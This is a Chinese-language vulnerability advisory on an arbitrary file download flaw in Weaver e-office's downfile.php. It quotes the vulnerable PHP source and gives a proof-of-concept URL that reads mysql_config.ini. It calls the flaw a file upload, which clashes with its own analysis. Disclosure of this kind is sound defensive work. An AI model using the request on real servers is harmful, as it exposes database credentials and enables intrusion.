### 漏洞信息：
泛微e-office是泛微公司面向中小型组织推出的OA产品,简单易用高效,部署快、投资少。提供免费试用体验。至今已为超过一万家客户提供方便高效的办公体验。
泛微e-office存在任意文件上传漏洞导致敏感信息泄漏。
### 漏洞分析：
漏洞存在于E-mobile/Data/downfile.php
```
$fileurl = $_REQUEST['url'];
$sessionstr = $_REQUEST['sessionkey'];
$strexplode = explode( ",", $sessionstr );
$sessionkey = $strexplode[0];
$curr_user_id = $strexplode[1];
$rooturl = "http://".$_SERVER['HTTP_HOST'];
$checkurl = explode( "/", $fileurl );
if ( $checkurl[1] == "flowimg" )
{
$url = $rooturl."/E-mobile/flowimg.php?RUN_ID=".$checkurl[2]."&FLOW_ID=".$checkurl[3];
$type = "png";
}
else if ( $checkurl[1] == "freeflowimg" )
{
$url = $rooturl."/E-mobile/flow/freeflowimg.php?RUN_ID=".$checkurl[2]."&FLOW_ID=".$checkurl[3];
$type = "png";
}
else
{
$url = $rooturl.$fileurl;
$filetype = pathinfo( $fileurl );
$type = $filetype['extension'];
}
if ( $type == "css" )
{
header( "Content-Type: text/css" );
}
else if ( $type == "js" )
{
header( "Content-Type: application/javascript" );
}
else if ( $type == "jpg" || $type == "jpeg" || $type == "JPG" || $type == "JPEG" )
{
header( "Content-Type: image/jpeg" );
}
else if ( $type == "png" || $type == "PNG" )
{
header( "Content-Type: image/png" );
}
else if ( $type == "bmp" || $type == "BMP" )
{
header( "Content-Type: image/bmp" );
}
else if ( $type == "gif" || $type == "GIF" )
{
header( "Content-Type: image/gif" );
}
else if ( $type == "pdf" || $type == "PDF" )
{
header( "Content-Type: application/pdf" );
}
else if ( $type == "rar" || $type == "RAR" )
{
header( "Content-Type: application/x-rar-compressed" );
}
else if ( $type == "exe" || $type == "EXE" )
{
header( "Content-Type: application/octet-stream" );
}
else if ( $type == "zip" || $type == "ZIP" )
{
header( "Content-Type: application/zip" );
}
else if ( $type == "doc" || $type == "DOC" )
{
header( "Content-Type: application/msword" );
}
else if ( $type == "docx" || $type == "DOCX" )
{
header( "Content-Type: application/msword" );
}
else if ( $type == "xls" || $type == "XLS" || $type == "csv" || $type == "CSV" )
{
header( "Content-Type: application/vnd.ms-excel" );
}
else if ( $type == "ppt" || $type == "PPT" )
{
header( "Content-Type: application/vnd.ms-powerpoint" );
}
else if ( $type == "txt" || $type == "TXT" )
{
header( "Content-Type: text/plain" );
}
else
{
header( "Content-Type: application/force-download" );
}
$content = file_get_contents( $url );
echo $content;
?>
```
可以看出url参数没有有效的过滤，导致可任意文件下载。
可使用以下URl测试下载源码：
```
http://**.**.**.**:8028/E-mobile/Data/downfile.php?url=/mysql_config.ini
```
### 解决方案：
建议关注官网网站，及时升级最新版本：
http://www.weaver.com.cn/
京公网安备 11010502034610号
暂无评论